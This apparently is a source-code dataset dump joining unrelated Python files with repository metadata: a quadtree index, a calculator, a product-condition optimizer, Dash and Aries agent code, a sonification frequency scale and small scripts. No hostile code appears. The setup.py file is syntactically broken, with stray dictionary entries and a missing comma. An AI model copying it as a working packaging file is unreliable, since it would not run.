Index(bbox=(0, 0, 100, 100)) >>> spindex.insert('duck', (50, 30, 53, 60)) >>> spindex.insert('cookie', (10, 20, 15, 25)) >>> spindex.insert('python', (40, 50, 95, 90)) >>> results = spindex.intersect((51, 51, 86, 86)) >>> sorted(results) ['duck', 'python'] """ def __init__(self, bbox=None, x=None, y=None, width=None, height=None, max_items=MAX_ITEMS, max_depth=MAX_DEPTH): """ Initiate by specifying either 1) a bbox to keep track of, or 2) with an xy centerpoint and a width and height. Parameters: - **bbox**: The coordinate system bounding box of the area that the quadtree should keep track of, as a 4-length sequence (xmin,ymin,xmax,ymax) - **x**: The x center coordinate of the area that the quadtree should keep track of. - **y** The y center coordinate of the area that the quadtree should keep track of. - **width**: How far from the xcenter that the quadtree should look when keeping track. - **height**: How far from the ycenter that the quadtree should look when keeping track - **max_items** (optional): The maximum number of items allowed per quad before splitting up into four new subquads. Default is 10. - **max_depth** (optional): The maximum levels of nested subquads, after which no more splitting occurs and the bottommost quad nodes may grow indefinately. Default is 20. """ if bbox is not None: x1, y1, x2, y2 = bbox width, height = abs(x2-x1), abs(y2-y1) midx, midy = x1+width/2.0, y1+height/2.0 super(Index, self).__init__(midx, midy, width, height, max_items, max_depth) elif None not in (x, y, width, height): super(Index, self).__init__(x, y, width, height, max_items, max_depth) else: raise Exception("Either the bbox argument must be set, or the x, y, width, and height arguments must be set") def insert(self, item, bbox): """ Inserts an item into the quadtree along with its bounding box. Parameters: - **item**: The item to insert into the index, which will be returned by the intersection method - **bbox**: The spatial bounding box tuple of the item, with four members (xmin,ymin,xmax,ymax) """ self._insert(item, bbox) def remove(self, item, bbox): """ Removes an item from the quadtree. Parameters: - **item**: The item to remove from the index - **bbox**: The spatial bounding box tuple of the item, with four members (xmin,ymin,xmax,ymax) Both parameters need to exactly match the parameters provided to the insert method. """ self._remove(item, bbox) def intersect(self, bbox): """ Intersects an input boundingbox rectangle with all of the items contained in the quadtree. Parameters: - **bbox**: A spatial bounding box tuple with four members (xmin,ymin,xmax,ymax) Returns: - A list of inserted items whose bounding boxes intersect with the input bbox. """ return self._intersect(bbox)

34.821023

121

0.59566

9,635

0.786081

282

0.023007

0

5,545

0.452395

b8028a1a0d82b7861ade532f7556efe716f52f14

1,136

py

Python

Day10/calci.py

viditvarshney/100DaysOfCode

eec82c98087093f1aec1cb21acab82368ae785a3

[ "MIT" ]

null

Day10/calci.py

viditvarshney/100DaysOfCode

eec82c98087093f1aec1cb21acab82368ae785a3

[ "MIT" ]

null

Day10/calci.py

viditvarshney/100DaysOfCode

eec82c98087093f1aec1cb21acab82368ae785a3

[ "MIT" ]

null

from logo import logo def add(n1, n2): return n1 + n2 def multiply(n1, n2): return n1 * n2 def subtract(n1, n2): return n1 - n2 def divide(n1, n2): return n1 / n2 symbols = ['+', '-', '/', '*'] operations = {'+': add, '-': subtract, '*': multiply, '/': divide} def Calci(): print(logo) num1 = float(input("Enter 1st number: ")) for key in operations: print(key) while True: choice = input("Choose an operation: ") if not choice in symbols: print("WARNING! Invalid Operation symbol: ") break num2 = float(input("Enter next number: ")) calculation_func = operations[choice] result = calculation_func(num1, num2) print(f"{num1} {choice} {num2} = {result}") clear = input( f"Type 'y to continue with {result} or 'new' to start a new calculation 'n' to exit: ") if clear.casefold() == 'y': num1 = result elif clear.casefold() == 'new': Calci() else: print(f"Your final result is: {result}") break Calci()

21.037037

100

0.529049

0

289

0.254401

b805c6c952721423e773c7922c3d8b331193cf4b

6,089

py

Python

shoptimizer_api/optimizers_builtin/condition_optimizer.py

leozz37/shoptimizer

a940306cba4040e9d69e1ae2ce077c2a6a108c1f

[ "Apache-2.0" ]

null

shoptimizer_api/optimizers_builtin/condition_optimizer.py

leozz37/shoptimizer

a940306cba4040e9d69e1ae2ce077c2a6a108c1f

[ "Apache-2.0" ]

null

shoptimizer_api/optimizers_builtin/condition_optimizer.py

leozz37/shoptimizer

a940306cba4040e9d69e1ae2ce077c2a6a108c1f

[ "Apache-2.0" ]

null

# coding=utf-8 # Copyright 2020 Google LLC. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # python3 """A module for Shoptimizer API that fixes invalid condition values. Reference: https://support.google.com/merchants/answer/6324469 If the condition field is specified as "new", but other fields in the product imply that the condition is otherwise, this optimizer will reset the condition value to "used". """ import logging from typing import Any, Dict, List, Set from flask import current_app from optimizers_abstract import base_optimizer _NEW = 'new' _USED = 'used' class ConditionOptimizer(base_optimizer.BaseOptimizer): """An optimizer that fixes invalidly-set condition fields.""" _OPTIMIZER_PARAMETER = 'condition-optimizer' _condition_config = None def _optimize(self, product_batch: Dict[str, Any], language: str, country: str, currency: str) -> int: """Runs the optimization. Fixes invalid condition values. See above for the definition of an invalid condition value. Args: product_batch: A batch of product data. language: The language to use for this optimizer. country: The country to use for this optimizer. currency: The currency to use for this optimizer. Returns: The number of products affected by this optimization. """ num_of_products_optimized = 0 self._condition_config = current_app.config.get('CONFIGS', {}).get( f'condition_optimizer_config_{language}', {}) for entry in product_batch['entries']: product = entry['product'] google_product_category = product.get('googleProductCategory', '') if self._is_google_product_category_excluded(google_product_category): logging.info( 'Product ID: %s With Category %s was flagged for exclusion ' ' of the condition check', product.get('offerId', ''), google_product_category) continue used_tokens = set( token.lower() for token in self._condition_config['used_tokens']) logging.info('Used tokens were %s', used_tokens) if product.get('condition', '') == _NEW: # Category format must follow the official spec to be converted a list. # Ref: https://support.google.com/merchants/answer/6324436?hl=en. product_categories = google_product_category.split(' > ') if isinstance(product_categories, list) and product_categories: lowest_level_category = product_categories[-1] category_specific_tokens = self._get_tokens_for_category( lowest_level_category) if category_specific_tokens: category_specific_tokens = set( token.lower() for token in category_specific_tokens) used_tokens.update(category_specific_tokens) # Search for used tokens in both title and description and reset the # condition to used if any were detected. product_title = product.get('title', '') product_description = product.get('description', '') if self._field_contains_used_tokens( product_title, used_tokens) or self._field_contains_used_tokens( product_description, used_tokens): product['condition'] = _USED logging.info('Modified item %s: Setting new product to used.', product.get('offerId', '')) num_of_products_optimized += 1 base_optimizer.set_optimization_tracking(product, base_optimizer.SANITIZED) return num_of_products_optimized def _is_google_product_category_excluded( self, google_product_category: str) -> bool: """Checks if the provided category was found in the exclusions config dict. Args: google_product_category: A string representing the product category. Returns: True if the given category was found in the condition config's list of categories to exclude from being optimized for condition due to those categories being at higher risk of containing false-positives. """ excluded_categories = self._condition_config.get( 'excluded_product_categories', []) # Ensure that the exclude category from the config matches the product's # category from the beginning of the string in order to support an entire # category family being matched, as well as enforcing avoidance of unrelated # matches if only a sub-category was specified. return any( google_product_category.startswith(category_to_exclude) for category_to_exclude in excluded_categories) def _field_contains_used_tokens(self, field_text: str, used_tokens: Set[str]) -> bool: """Checks if the provided field contains any terms in the given set. Args: field_text: A string representing the value of a product field. used_tokens: A set representing used condition indicators. Returns: True if any term was found in the target product field, otherwise False. """ return any(token in field_text.lower() for token in used_tokens) def _get_tokens_for_category(self, product_category: str) -> List[str]: """Gets the values in a list of dictionaries if the provided category was found. Args: product_category: The product's lowest-level category. Returns: A list of the tokens of the matching category, or an empty list. """ category_mappings = self._condition_config['target_product_categories'] return category_mappings.get(product_category, [])

40.059211

84

0.702414

5,010

0.822795

0

3,288

0.53999

b805e135095833b9aacb9e146ceaa3844c6781fb

670

py

Python

setup.py

comradepopo/p4rmyknife

e34a12a86cc090e3add25dc5baa7f6629586a4c6

[ "Apache-2.0" ]

null

setup.py

comradepopo/p4rmyknife

e34a12a86cc090e3add25dc5baa7f6629586a4c6

[ "Apache-2.0" ]

1

2019-10-18T23:10:11.000Z

setup.py

comradepopo/p4rmyknife

e34a12a86cc090e3add25dc5baa7f6629586a4c6

[ "Apache-2.0" ]

null

try: from setuptools import setup except ImportError: from distutils.core import setup 'description': 'P4rmyKnife - The Swiss Army Knife for P4', 'author': 'Assembla, Inc.', 'url': 'https://assembla.com/' 'author_email': 'louis@assembla.com', 'version': '0.1', 'install_requires': [], 'packages': ['p4rmyknife'], 'scripts': [], 'name': 'p4rmyknife' setup(name='p4rmyknife', description='P4rmyKnife - The Swiss Army Knife for P4', author='Assembla, Inc.', url='https://assembla.com/' author_email='louis@assembla.com', version='0.1', install_requires=[], packages=['p4rmyknife'], scripts=[] )

25.769231

62

0.626866

0

352

0.525373

b807feaa7b46fd15709c8ce5d95d9ec7f33de619

446

py

Python

utilities/readProperties.py

harry-100/qa-automation-framework

5fbe03e930820537e53f2d26b1c2b2bd2b222bf5

[ "MIT" ]

null

utilities/readProperties.py

harry-100/qa-automation-framework

5fbe03e930820537e53f2d26b1c2b2bd2b222bf5

[ "MIT" ]

null

utilities/readProperties.py

harry-100/qa-automation-framework

5fbe03e930820537e53f2d26b1c2b2bd2b222bf5

[ "MIT" ]

null

from configparser import RawConfigParser config = RawConfigParser() config.read("configuration/config.ini") class ReadConfig(): @staticmethod def getApplicationURL(): url = (config.get('common info', 'baseURL')) return url @staticmethod def getUserName(): username = (config.get('common info', 'username')) return username @staticmethod def getPassword(): password = (config.get('common info', 'password')) return password

20.272727

52

0.7287

334

0.748879

0

307

0.688341

0

94

0.210762

b80bab1732354a9bf5c8b8066aa6d633362ec4a1

181

py

Python

tinyq/__init__.py

mozillazg/tinyq

fd9ecc593931c9b315c4aeb9150389b3e4ae670e

[ "MIT" ]

14

2017-08-02T23:30:16.000Z

2021-05-31T19:58:29.000Z

tinyq/__init__.py

mozillazg/tinyq

fd9ecc593931c9b315c4aeb9150389b3e4ae670e

[ "MIT" ]

null

tinyq/__init__.py

mozillazg/tinyq

fd9ecc593931c9b315c4aeb9150389b3e4ae670e

[ "MIT" ]

2

2017-03-13T09:36:05.000Z

2017-10-27T14:33:48.000Z

22.625

46

0.696133

0

82

0.453039

b80bd1236784afca06c2fdaedb154f5764c38921

258

py

Python

henrietta/tests/__init__.py

zkbt/henrietta

653d798b241ad5591b704967a0413a2457a4e734

[ "MIT" ]

null

henrietta/tests/__init__.py

zkbt/henrietta

653d798b241ad5591b704967a0413a2457a4e734

[ "MIT" ]

12

2018-09-12T03:56:04.000Z

2019-02-15T04:12:53.000Z

henrietta/tests/__init__.py

zkbt/henrietta

653d798b241ad5591b704967a0413a2457a4e734

[ "MIT" ]

null

from .test_lightcurves import * from .test_statistics import * from .test_models import * from .test_fitting import * from .test_tools import * from .test_photometry import * from .test_tpf import * from .test_imaging import * from .test_photometry import *

25.8

31

0.790698

0

b80c3a78699daca713934719586192ebb12c7028

340

py

Python

personas.py

Ulzahk/Practica-Python-CRUD

2657be639bce88e5774f3b16c11ecbb33c41bc83

[ "MIT" ]

null

personas.py

Ulzahk/Practica-Python-CRUD

2657be639bce88e5774f3b16c11ecbb33c41bc83

[ "MIT" ]

null

personas.py

Ulzahk/Practica-Python-CRUD

2657be639bce88e5774f3b16c11ecbb33c41bc83

[ "MIT" ]

null

class Person: def __init__(self, name, age): self.name = name self.age = age def say_hello(self): print('Hello, my name is {} and I am {} years old'.format(self.name, self.age)) if __name__ == '__main__': person = Person('David', 34) print('Age: {}'.format(person.age)) person.say_hello()

18.888889

87

0.585294

212

0.623529

0

70

0.205882

b80d9fd4d22bb1d71b3dd29f2cdfd01260186b03

614

py

Python

python/right_couch_move.py

ktmock13/PiCouch

21992efca9fa382c7a02c10fb037a994143038c6

[ "Apache-2.0" ]

null

python/right_couch_move.py

ktmock13/PiCouch

21992efca9fa382c7a02c10fb037a994143038c6

[ "Apache-2.0" ]

null

python/right_couch_move.py

ktmock13/PiCouch

21992efca9fa382c7a02c10fb037a994143038c6

[ "Apache-2.0" ]

null

import RPi.GPIO as GPIO from time import sleep import sys #setup GPIO.setmode(GPIO.BOARD) openRelay=11 closeRelay=13 GPIO.setup(openRelay, GPIO.OUT) GPIO.setup(closeRelay, GPIO.OUT) #get cmd args duration = float(sys.argv[1]) opening = sys.argv[2] in ['true', 'True', '1', 'TRUE'] relay = openRelay if opening else closeRelay #start GPIO.output(relay, GPIO.HIGH) print 'starting ' + ('open' if opening else 'close') + ' signal..' #wait print ' ' + str(duration) + 'secs' sleep(duration) #stop print ' ...ending signal' GPIO.output(relay, GPIO.LOW)

20.466667

66

0.640065

0

178

0.289902

b80eb5f1166695a86c73eccb3c18067bd324e51b

3,725

py

Python

lib/python3.7/site-packages/dash_bootstrap_components/_components/Popover.py

dukuaris/Django

d34f3e3f09028511e96b99cae7faa1b46458eed1

[ "MIT" ]

null

lib/python3.7/site-packages/dash_bootstrap_components/_components/Popover.py

dukuaris/Django

d34f3e3f09028511e96b99cae7faa1b46458eed1

[ "MIT" ]

12

2020-06-06T01:22:26.000Z

2022-03-12T00:13:42.000Z

lib/python3.7/site-packages/dash_bootstrap_components/_components/Popover.py

dukuaris/Django

d34f3e3f09028511e96b99cae7faa1b46458eed1

[ "MIT" ]

null

# AUTO GENERATED FILE - DO NOT EDIT from dash.development.base_component import Component, _explicitize_args class Popover(Component): """A Popover component. Keyword arguments: - children (a list of or a singular dash component, string or number; optional): The children of this component - id (string; optional): The ID of this component, used to identify dash components in callbacks. The ID needs to be unique across all of the components in an app. - style (dict; optional): Defines CSS styles which will override styles previously set. - className (string; optional): Often used with CSS to style elements with common properties. - key (string; optional): A unique identifier for the component, used to improve performance by React.js while rendering components See https://reactjs.org/docs/lists-and-keys.html for more info - placement (a value equal to: 'auto', 'auto-start', 'auto-end', 'top', 'top-start', 'top-end', 'right', 'right-start', 'right-end', 'bottom', 'bottom-start', 'bottom-end', 'left', 'left-start', 'left-end'; optional): Specify popover placement. - target (string; optional): ID of the component to attach the popover to. - container (string; optional): Where to inject the popper DOM node, default body. - is_open (boolean; optional): Whether the Popover is open or not. - hide_arrow (boolean; optional): Hide popover arrow. - innerClassName (string; optional): CSS class to apply to the popover. - delay (dict; optional): Optionally override show/hide delays - default {show: 0, hide: 250}. delay has the following type: dict containing keys 'show', 'hide'. Those keys have the following types: - show (number; optional) - hide (number; optional) | number - offset (string | number; optional): Popover offset. - loading_state (dict; optional): Object that holds the loading state object coming from dash-renderer. loading_state has the following type: dict containing keys 'is_loading', 'prop_name', 'component_name'. Those keys have the following types: - is_loading (boolean; optional): Determines if the component is loading or not - prop_name (string; optional): Holds which property is loading - component_name (string; optional): Holds the name of the component that is loading""" @_explicitize_args def __init__(self, children=None, id=Component.UNDEFINED, style=Component.UNDEFINED, className=Component.UNDEFINED, key=Component.UNDEFINED, placement=Component.UNDEFINED, target=Component.UNDEFINED, container=Component.UNDEFINED, is_open=Component.UNDEFINED, hide_arrow=Component.UNDEFINED, innerClassName=Component.UNDEFINED, delay=Component.UNDEFINED, offset=Component.UNDEFINED, loading_state=Component.UNDEFINED, **kwargs): self._prop_names = ['children', 'id', 'style', 'className', 'key', 'placement', 'target', 'container', 'is_open', 'hide_arrow', 'innerClassName', 'delay', 'offset', 'loading_state'] self._type = 'Popover' self._namespace = 'dash_bootstrap_components/_components' self._valid_wildcard_attributes = [] self.available_properties = ['children', 'id', 'style', 'className', 'key', 'placement', 'target', 'container', 'is_open', 'hide_arrow', 'innerClassName', 'delay', 'offset', 'loading_state'] self.available_wildcard_properties = [] _explicit_args = kwargs.pop('_explicit_args') _locals = locals() _locals.update(kwargs) # For wildcard attrs args = {k: _locals[k] for k in _explicit_args if k != 'children'} for k in []: if k not in args: raise TypeError( 'Required argument `' + k + '` was not specified.') super(Popover, self).__init__(children=children, **args)

67.727273

432

0.720537

3,612

0.969664

0

1,483

0.398121

0

2,534

0.680268

b81062d8563ac7d8651bf77dad80875a2f3da169

3,954

py

Python

aries_cloudagent/wallet/tests/test_key_pair.py

kuraakhilesh8230/aries-cloudagent-python

ee384d1330f6a50ff45a507392ce54f92900f23a

[ "Apache-2.0" ]

247

2019-07-02T21:10:21.000Z

2022-03-30T13:55:33.000Z

aries_cloudagent/wallet/tests/test_key_pair.py

kuraakhilesh8230/aries-cloudagent-python

ee384d1330f6a50ff45a507392ce54f92900f23a

[ "Apache-2.0" ]

1,462

2019-07-02T20:57:30.000Z

2022-03-31T23:13:35.000Z

aries_cloudagent/wallet/tests/test_key_pair.py

kuraakhilesh8230/aries-cloudagent-python

ee384d1330f6a50ff45a507392ce54f92900f23a

[ "Apache-2.0" ]

377

2019-06-20T21:01:31.000Z

2022-03-30T08:27:53.000Z

from asynctest import TestCase as AsyncTestCase import json from ...storage.error import StorageNotFoundError from ..util import bytes_to_b58 from ..key_type import KeyType from ...core.in_memory import InMemoryProfile from ...storage.in_memory import InMemoryStorage from ..key_pair import KeyPairStorageManager, KEY_PAIR_STORAGE_TYPE class TestKeyPairStorageManager(AsyncTestCase): test_public_key = b"somepublickeybytes" test_secret = b"verysecretkey" async def setUp(self): self.profile = InMemoryProfile.test_profile() self.store = InMemoryStorage(self.profile) self.key_pair_mgr = KeyPairStorageManager(self.store) async def test_create_key_pair(self): await self.key_pair_mgr.store_key_pair( public_key=self.test_public_key, secret_key=self.test_secret, key_type=KeyType.ED25519, ) verkey = bytes_to_b58(self.test_public_key) record = await self.store.find_record(KEY_PAIR_STORAGE_TYPE, {"verkey": verkey}) assert record value = json.loads(record.value) assert record.tags == {"verkey": verkey, "key_type": KeyType.ED25519.key_type} assert value["verkey"] == verkey assert value["secret_key"] == bytes_to_b58(self.test_secret) assert value["metadata"] == {} assert value["key_type"] == KeyType.ED25519.key_type async def test_get_key_pair(self): await self.key_pair_mgr.store_key_pair( public_key=self.test_public_key, secret_key=self.test_secret, key_type=KeyType.ED25519, ) verkey = bytes_to_b58(self.test_public_key) key_pair = await self.key_pair_mgr.get_key_pair(verkey) assert key_pair["verkey"] == verkey assert key_pair["secret_key"] == bytes_to_b58(self.test_secret) assert key_pair["metadata"] == {} assert key_pair["key_type"] == KeyType.ED25519.key_type async def test_get_key_pair_x_not_found(self): with self.assertRaises(StorageNotFoundError): await self.key_pair_mgr.get_key_pair("not_existing_verkey") async def test_delete_key_pair(self): await self.key_pair_mgr.store_key_pair( public_key=self.test_public_key, secret_key=self.test_secret, key_type=KeyType.ED25519, ) verkey = bytes_to_b58(self.test_public_key) record = await self.store.find_record(KEY_PAIR_STORAGE_TYPE, {"verkey": verkey}) assert record await self.key_pair_mgr.delete_key_pair(verkey) # should be deleted now with self.assertRaises(StorageNotFoundError): await self.key_pair_mgr.delete_key_pair(verkey) async def test_delete_key_pair_x_not_found(self): with self.assertRaises(StorageNotFoundError): await self.key_pair_mgr.delete_key_pair("non_existing_verkey") async def test_update_key_pair_metadata(self): await self.key_pair_mgr.store_key_pair( public_key=self.test_public_key, secret_key=self.test_secret, key_type=KeyType.ED25519, metadata={"some": "data"}, ) verkey = bytes_to_b58(self.test_public_key) record = await self.store.find_record(KEY_PAIR_STORAGE_TYPE, {"verkey": verkey}) assert record value = json.loads(record.value) assert value["metadata"] == {"some": "data"} await self.key_pair_mgr.update_key_pair_metadata(verkey, {"some_other": "data"}) record = await self.store.find_record(KEY_PAIR_STORAGE_TYPE, {"verkey": verkey}) assert record value = json.loads(record.value) assert value["metadata"] == {"some_other": "data"} async def test_update_key_pair_metadata_x_not_found(self): with self.assertRaises(StorageNotFoundError): await self.key_pair_mgr.update_key_pair_metadata("non_existing_verkey", {})

35.303571

88

0.687405

3,613

0.913758

0

3,439

0.869752

333

0.084219

b8116854eec000b484014c431645628bfade8561

6,191

py

Python

sonipy/scales/frequency.py

Sabrina-Knappe/sonipy

eaf89afaee0d9c2d5ba7a035d43e651b8919b84e

[ "MIT" ]

22

2020-07-04T19:05:25.000Z

2022-02-25T08:39:01.000Z

sonipy/scales/frequency.py

Sabrina-Knappe/sonipy

eaf89afaee0d9c2d5ba7a035d43e651b8919b84e

[ "MIT" ]

6

2020-07-07T17:09:00.000Z

2021-04-12T16:37:41.000Z

sonipy/scales/frequency.py

Sabrina-Knappe/sonipy

eaf89afaee0d9c2d5ba7a035d43e651b8919b84e

[ "MIT" ]

6

2020-07-07T08:28:33.000Z

2021-12-21T03:52:09.000Z

from __future__ import print_function import warnings import numpy as np C4 = 261.6 # Hz piano_max = 4186.01 # Hz piano_min = 27.5000 # Hz - not audible __all__ = ['cent_per_value','get_f_min','get_f_max','FrequencyScale'] def cent_per_value(f_min, f_max, v_min, v_max): """ This function takes in a frequency max and min, and y value max and min and returns a y scale parameter in units of cents/y value. Cents are a logarithmic unit of tone intervals (https://en.wikipedia.org/wiki/Cent_(music)). Parameters ---------- f_min : float Minimum frequency. f_max : float Maximum frequency. v_min : float Minimum y value. v_max : float Maximum y value. Returns ------- float A y-scale parameter in units of cents/y value. """ step = 1200 * np.log2(f_max / f_min) / (v_max - v_min) return step def get_f_min(f_max, cents_per_value, v_min, v_max): """ This function takes in a y value max and min, a maximum frequency and a y scale parameter in units of cents/y value, and returns the minimum frequency that fits to such a scale. Cents are a logarithmic unit of tone intervals (https://en.wikipedia.org/wiki/Cent_(music)). Parameters ---------- f_max : float Maximum frequency. cents_per_value : float A y scale parameter in units of cents/y value. v_min : float Minimum y value. v_max : float Maximum y value. Returns ------- float Minimum frequency. """ f_min = f_max / (2 ** ((v_max - v_min) * cents_per_value / 1200)) return f_min def get_f_max(f_min, cents_per_value, v_min, v_max): """ This function takes in a y value max and min, a minimum frequency and a y scale parameter in units of cents/y value, and returns the maximum frequency that fits to such a scale. Cents are a logarithmic unit of tone intervals (https://en.wikipedia.org/wiki/Cent_(music)). Parameters ---------- f_min : float Minimum frequency. cents_per_value : float A y scale parameter in units of cents/y value. v_min : float Minimum y value. v_max : float Maximum y value. Returns ------- float Maximum frequency. """ f_max = f_min * (2 ** ((v_max - v_min) * cents_per_value / 1200)) return f_max class FrequencyScale(object): """ This class builds a frequency scale and populates the namespace of frequency objects based on the given inputs from the following combos: - frequency_min, frequency_max, y value min and y value max - frequency_max, cents_per_value, y value min and y value max - frequency_min, cents_per_value, y value min and y value max Cents are a logarithmic unit of tone intervals (https://en.wikipedia.org/wiki/Cent_(music)). Parameters ---------- frequency_min : float Minimum frequency. frequency_max : float Maximum frequency. cents_per_value : float A y scale parameter in units of cents/y value. value_min : float Description of parameter `value_min`. value_max : float Description of parameter `value_max`. verbose : bool Flag to toggle printing functions. """ def __init__(self, value_min, value_max, frequency_min=None, frequency_max=None, cents_per_value=None, verbose=False): if verbose: print('initial vals (fmin, fmax, vmin, vmax):', frequency_min, frequency_max, value_min, value_max) # checking for which inputs were given self.y_inputs = [] if frequency_min != None: self.y_inputs.append('frequency_min') if frequency_max != None: self.y_inputs.append('frequency_max') if cents_per_value != None: self.y_inputs.append('cents_per_value') self.y_n_inputs = len(self.y_inputs) # raising exception if anything other than two inputs were given if self.y_n_inputs != 2: raise Exception('Frequency takes 2 of the frequency_min, frequency_max, and cents_per_value inputs. You inputted {} inputs, which were {}.'.format( self.y_n_inputs, self.y_inputs)) # frequency_min and frequency_max input case if (cents_per_value == None): cents_per_value = cent_per_value(frequency_min, frequency_max, value_min, value_max) # cents_per_value and frequency_max input case if (frequency_min == None): frequency_min = get_f_min(frequency_max, cents_per_value, value_min, value_max) # cents_per_value and frequency_min input case if (frequency_max == None): frequency_max = get_f_max(frequency_min, cents_per_value, value_min, value_max) self.y_value_min = value_min self.y_value_max = value_max self.y_frequency_max = frequency_max self.y_frequency_min = frequency_min self.y_cents_per_value = cents_per_value if self.y_frequency_max > piano_max: warnings.warn('Your maximum frequency of {} Hz is above a pianos maximum of {} Hz.'.format( np.round(self.y_frequency_max, 2), piano_max)) if self.y_frequency_min < piano_min: warnings.warn('Your minimum frequency of {} Hz is below a pianos minimum of {} Hz.'.format( np.round(self.y_frequency_min, 2), piano_min)) if self.y_value_min > self.y_value_max: warnings.warn('Min y value is greater than max y value.') if verbose: print('initial vals (f_min, f_max, y_min, y_max):', self.y_frequency_min, self.y_frequency_max, self.y_value_min, self.y_value_max) def freq(v): return self.y_frequency_min * \ 2 ** ((v - self.y_value_min) * self.y_cents_per_value / 1200) self.y_freq_translate_to_range = lambda array: list(map(freq, array)) if verbose: print('Frequency Scale Built')

34.977401

181

0.63237

3,800

0.613794

0

3,389

0.547408

b8118840491eaf33f7fcef02b6ab1cab5378d698

338

py

Python

core_admin/des/ccd/daemon.py

linea-it/tno

f973381280504ceb1b606b5b3ccc79b6b8c2aa4f

[ "MIT" ]

null

core_admin/des/ccd/daemon.py

linea-it/tno

f973381280504ceb1b606b5b3ccc79b6b8c2aa4f

[ "MIT" ]

112

2018-04-24T19:10:55.000Z

2022-02-26T16:55:02.000Z

core_admin/des/ccd/daemon.py

linea-it/tno

f973381280504ceb1b606b5b3ccc79b6b8c2aa4f

[ "MIT" ]

null

from apscheduler.schedulers.background import BackgroundScheduler from des.ccd import start_pipeline def download_queue(): start_pipeline() scheduler = BackgroundScheduler() scheduler.add_job( download_queue, 'interval', # minutes=1 seconds=20, max_instances=1, id='des_download_ccd' ) scheduler.start()

16.095238

65

0.739645

0

39

0.115385

b811d6fa0121474e3b20b511fc6bfce131c9ffa7

440

py

Python

calc-app/input_console.py

t4d-classes/python_10042021

e2c28448ad66784c429655ab766f902b76d6ac79

[ "MIT" ]

null

calc-app/input_console.py

t4d-classes/python_10042021

e2c28448ad66784c429655ab766f902b76d6ac79

[ "MIT" ]

null

calc-app/input_console.py

t4d-classes/python_10042021

e2c28448ad66784c429655ab766f902b76d6ac79

[ "MIT" ]

null

from common.input import input_int, input_float def get_operand(): return input_float("Please enter an operand: ") def get_command(): return input("Enter a command: ") def get_history_entry_id(): return input_int("Please enter a history entry id: ") def get_history_file_name(): return input("Enter a history file name: ") def get_history_report_file_name(): return input("Enter a history report file name: ")

20

57

0.725

0

146

0.331818

b811e4d73c683e7404a77a68edf057c683bf41a7

1,872

py

Python

tools/stimgen/gen_recall.py

herenvarno/gsbn

47ed0932b605d8b3cf9661f9308908364ad5892e

[ "MIT" ]

2

2016-08-12T15:06:02.000Z

2021-10-05T08:12:17.000Z

tools/stimgen/gen_recall.py

herenvarno/gsbn

47ed0932b605d8b3cf9661f9308908364ad5892e

[ "MIT" ]

2

2017-04-23T17:22:23.000Z

2017-05-25T14:22:51.000Z

tools/stimgen/gen_recall.py

herenvarno/gsbn

47ed0932b605d8b3cf9661f9308908364ad5892e

[ "MIT" ]

null

#!/usr/bin/env python import os import sys import re import math import random import matplotlib.pyplot as plt import numpy as np from google.protobuf import text_format sys.path.append(os.path.dirname(os.path.realpath(__file__))+"/../../build") import gsbn_pb2 if len(sys.argv) < 1: print("Arguments wrong! Please retry with command :") print("python "+os.path.realpath(__file__)+" <output file name>") exit(-1) filename = sys.argv[1] patterns = [] masks = [] DIM_HCU = 10 DIM_MCU = 10 rd = gsbn_pb2.StimRawData() p = [0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,2,3,4,5,6,7,8,9] patterns.append(p) p = [0,1,2,3,4,5,6,7,8,0xfffffff] patterns.append(p) p = [0,1,2,3,4,5,6,7,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,2,3,4,5,6,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,2,3,4,5,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,2,3,4,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,2,3,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,2,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,1,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) p = [0,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff,0x7fffffff] patterns.append(p) m = [0,0,0,0,0,0,0,0,0,0] masks.append(m) m = [1,1,1,1,1,1,1,1,1,1] masks.append(m) for p in patterns: for v in p: rd.data.append(v) for p in masks: for v in p: rd.mask.append(v) rd.data_rows = len(patterns) rd.data_cols = DIM_HCU rd.mask_rows = len(masks) rd.mask_cols = DIM_HCU with open(filename, "wb+") as f: f.write(rd.SerializeToString())

25.643836

115

0.744658

0

116

0.061966

b81231fb69c94c906db0d3069a6a4df0633be007

174

py

Python

python/find_country/city.py

lukasjoc/scritps

ebcffef0a3977ab8bb1bebf20383c350bd7baa37

[ "0BSD" ]

1

2020-11-09T19:32:43.000Z

python/find_country/city.py

lukasjoc/scritps

ebcffef0a3977ab8bb1bebf20383c350bd7baa37

[ "0BSD" ]

null

python/find_country/city.py

lukasjoc/scritps

ebcffef0a3977ab8bb1bebf20383c350bd7baa37

[ "0BSD" ]

null

#!/usr/bin/env python3 from geopy.geocoders import Nominatim locator = Nominatim(user_agent="getcity") loc = locator.geocode("Munich") print(loc.latitude, loc.longitude)

17.4

41

0.764368

0

39

0.224138

b8126bfcea007e0faa9e48fd38823790a37c5d11

6,448

py

Python

bitio/src/microbit/repl/repl.py

hungjuchen/Atmosmakers

4e8e64fba3d7a31840f69a5aa3823247aa5dca02

[ "MIT" ]

85

2017-06-09T20:53:46.000Z

2022-03-09T21:35:05.000Z

bitio/src/microbit/repl/repl.py

hungjuchen/Atmosmakers

4e8e64fba3d7a31840f69a5aa3823247aa5dca02

[ "MIT" ]

34

2017-06-09T20:52:05.000Z

2021-02-19T19:49:45.000Z

bitio/src/microbit/repl/repl.py

